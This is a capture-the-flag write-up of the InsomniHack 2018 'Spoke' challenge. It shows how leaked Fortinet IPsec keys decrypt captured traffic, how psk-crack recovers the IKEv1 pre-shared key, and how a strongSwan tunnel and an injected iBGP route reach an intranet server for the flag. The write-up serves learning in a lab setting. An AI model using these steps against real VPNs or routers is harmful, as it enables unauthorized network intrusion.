CTF/InsomniHack-2018/Spoke

= Spoke =

Challenge
An administrator changed the VPN configuration to IKEv1 main mode.

Try to access to intranet website.


 * File Archive 7a071362b981aa2a4d97a7307054ca43.
 * MD5 Checksum: 7a071362b981aa2a4d97a7307054ca43
 * Category: network

What's inside the archive?
Let's have a look what's inside this archive, we have a PCAP traffic capture and some IPSec debug informations (include keys!) coming from a Fortinet device.

user@kali:~/ins18/Spoke$ zipinfo 7a071362b981aa2a4d97a7307054ca43.zip Archive: 7a071362b981aa2a4d97a7307054ca43.zip Zip file size: 10794 bytes, number of entries: 3 drwx---    6.3 fat        0 bx stor 18-Mar-23 16:50 upload/ -rw-a--    6.3 fat     1758 bx defN 18-Mar-23 16:58 upload/DebugFortigateHub.txt -rw-a--    6.3 fat    12190 bx defN 18-Mar-23 16:39 upload/Sniffer.txt.pcap 3 files, 13948 bytes uncompressed, 10320 bytes compressed: 26.0% user@kali:~/ins18/Spoke$ cat upload/DebugFortigateHub.txt pwn-spoke (ext) # diagnose vpn ike gateway list

vd: ext/2 name: dia_0 version: 1 interface: port2 4 addr: 10.13.37.70:500 -&gt; 10.13.38.122:500 created: 61s ago peer-auth: yes assigned IP address: 10.249.2.4/0.0.0.0 auto-discovery: 0 IKE SA: created 1/1 established 1/1  time 10/10/10 ms IPsec SA: created 1/1  established 1/1  time 20/20/20 ms

id/spi: 13 956a636e90da6ce5/6abab248b8ffd14e direction: responder status: established 61-61s ago = 10ms key: 4e67a953bb27a382-acadbb7ebfdb6a02-79d21346cc5d8f39

pwn-spoke (ext) # diagnose vpn tunnel list list all ipsec tunnel in vd 2 -- name=dia ver=1 serial=1 10.13.37.70:0-&gt;0.0.0.0:0 bound_if=4 lgwy=static/1 tun=intf/0 mode=dialup/2 encap=none/0 proxyid_num=0 child_num=1 refcnt=12 ilast=7659 olast=7659 auto-discovery=0 stat: rxp=0 txp=0 rxb=0 txb=0 dpd: mode=on-demand on=0 idle=20000ms retry=3 count=0 seqno=0 natt: mode=none draft=0 interval=0 remote_port=0 -- name=dia_0 ver=1 serial=f 10.13.37.70:0-&gt;10.13.38.122:0 proxyid=dia proto=0 sa=1 ref=2 serial=1 add-route SA: ref=3 options=2a6 type=00 soft=0 mtu=1438 expire=3525/0B replaywin=2048 seqno=8 esn=0 replaywin_lastseq=00000034 life: type=01 bytes=0/0 timeout=3590/3600 dec: spi=6e0310cf esp=aes key=32 8385255e143ca436f939aaa68bc0f5a240c4870a7ba499584ac280a6ac015617 ah=sha256 key=32 e9f5bec30e3e8cb39e9f847dd84ed16843ada8b4d63c6e557234129d2b3c655e enc: spi=c71e7371 esp=aes key=32 3314e5045dbbc392821fb545dbd002bb5b57b77994639b7d7d987ec9da92fd07 ah=sha256 key=32 36165b2f33ceaf2917bc2f9b0e073844133d320bf0c3067f7ca44308cca92b53 dec:pkts/bytes=52/4223, enc:pkts/bytes=7/948 user@kali:~/ins18/Spoke$

Decrypt the traffic
Analysing the traffic capture, we can find IPSec encrypted traffic between two endpoints 10.13.38.122 and 10.13.37.70. Fortunately, the Fortinet debug output gives us the session keys that can be used to decrypt ESP traffic directly in wireshark.





This packet shows us the actual target of this challenge:

24 4.503228    10.13.38.122    10.249.251.10   DNS 170 Standard query 0x6561 A intranet.gloup.adds OPT

Crack the PSK
Next step is to recover the PSK, to do that we had to build a file containing necessary parameters for the  utility coming from the project. The format of the file can be found by reading through the source code.

user@kali:~/ins18/Spoke$ cat params.py
 * 1) !/usr/bin/env python3

g_xr = &quot;528cd7b2648016f481c8b54eeab60dbbeae00a872ab1545ae76ea22e536f62b4b2797dbbf57b1c760123258e1f30b4a8ffc8612c1683de67b566147106c17b7105130343bf5ab0bdc2a2cf104343d7d2630ce2cd9d3593e5f76bcfa28e14e86d3b31d06ac110b638947ad07db26c760775a08ff828904a147616be4e8c1f007c81e2c442e4d42a463cdfe5e37e2556e48d4f6a8c5fc967b57d1218285f06b281d3a3d3d3245ba61944a6320fa2eba32f0e2040a6bec626a5c9d1775594fc2061&quot;

g_xi = &quot;7ee3d1fc510d8e7c87e293b10e57d8881e2e7055430299e98c040bbd1b878275ba02e6f33b01174e7173cadefecb45132f6ee0bc88fc882c774f36ff835e76238a4577d5bc3b09367d879ec62c1da17813c02a1c09baaf1681838dbdc693bd323b42a240cdc38672306d5aa83f923bc4c9f1f14830e642e6b24931c659c8d218990f51eed03917b495a7be855a66178c6a38bc672ce5f7b95701aee61e6acf8642102de424a04ec81b9496448461587fcfaa2dbd5fdc099e509759f636a24cbe&quot;

cky_r = &quot;6abab248b8ffd14e&quot;

cky_i = &quot;956a636e90da6ce5&quot;

sai_b = &quot;00000001000000010000006400010003030000200101000080010005800200018004000580030001800b0001800c7080030000240201000080010007800e0080800200048004001380030001800b0001800c708000000018030100008004001380030001800b0001800c7080&quot;

idir_b = &quot;02000000487562&quot;

ni_b = &quot;22a8341e9b107ff273c4aa74c7659a00e374bae2df9e53c656669fa5282b555e&quot;

nr_b = &quot;c6922c8a4bc3a16574299f792966017b&quot;

hash_r = &quot;f3a0cb7a7a681a9b06f72d9575620b66&quot;

print(':'.join((g_xr, g_xi, cky_r, cky_i, sai_b, idir_b, ni_b, nr_b, hash_r))) user@kali:~/ins18/Spoke$ ./params.py | psk-crack /dev/stdin Starting psk-crack [ike-scan 1.9.4] (http://www.nta-monitor.com/tools/ike-scan/) Running in dictionary cracking mode key &quot;island&quot; matches MD5 hash f3a0cb7a7a681a9b06f72d9575620b66 Ending psk-crack: 175930 iterations in 0.321 seconds (548030.98 iterations/sec) user@kali:~/ins18/Spoke$

Setup an IPSec tunnel
Now that we have all necessary IPSec parameters as well as the PSK, it's time to setup an IPSec tunnel to hopefully reach this intranet server. We're using Strongswan with the following configuration which took so many iterations before working as expected.




 * 1) ipsec.conf - strongSwan IPsec configuration file

config setup charondebug=&quot;ike 2, cfg 0, esp 2, chd 2, cfg 2&quot;

conn insomnihack type=tunnel authby=secret left=%defaultroute leftsubnet=0.0.0.0/0 leftid=Ins0mn1 right=10.13.37.70 rightsubnet=10.249.0.0/16 rightid=Hub keyexchange=ikev1 ike=3des-md5-modp1536 esp=aes256-sha256-modp1536 auto=start :


 * 1) This file holds shared secrets or RSA private keys for authentication.


 * PSK &quot;island&quot;

The tunnel is now up and running but we still cannot access the target server (10.249.251.10), outgoing traffic seems to be correctly sent through the IPSec tunnel but no replies are coming back.

Setup BGP routing
This is where we can start to understand why this BGP session from the PCAP might actually be useful.

All of the paramters can be extracted from the PCAP: * ASN: 65515 * IBGP session, the same ASN is used on both ends * Remote peer: 10.249.252.1 * Two prefixes are being announced: * 10.249.2.4/32 * 10.13.38.122/32

The first IP (10.249.2.4) was received during the IPSec configuration phase.

The second one (10.13.38.122) is used as a source IP for talking to the target server (10.249.251.10).

As we are lazy and didn't bother with the IPSec Config mode (ISAKMP_CFG_REQUEST in the PCAP), we had only a single IP address, so we simply tried to announce it (192.168.7.102) directly in the BGP session and fortunately it worked!



! ! Zebra configuration saved from vty !  2018/03/24 01:04:26 ! ! router bgp 65515 bgp router-id 192.168.7.102 network 192.168.7.102/32 neighbor 10.249.252.1 remote-as 65515 ! address-family ipv6 exit-address-family exit ! line vty !

Get the flag
So now, connectivity toward the target network is working (10.249.251.0/24) and we can finally resolve the IP address of  and connect to it to get the flag!

user@kali:~$ dig +short intranet.gloup.adds @10.249.251.10 10.249.251.10 user@kali:~$ curl -H &quot;Host: intranet.gloup.adds&quot; http://10.249.249.10/ INS{G1v3_M3_Y0ur_PSK} user@kali:~$

Wrap up
We actually spent quite some time on this challenge (6-7 hours) but it was worth it! It had a good mix of finding a needle in a haystack, applied cryptography and network magic but perhaps too many ways to get lost during its resolution :)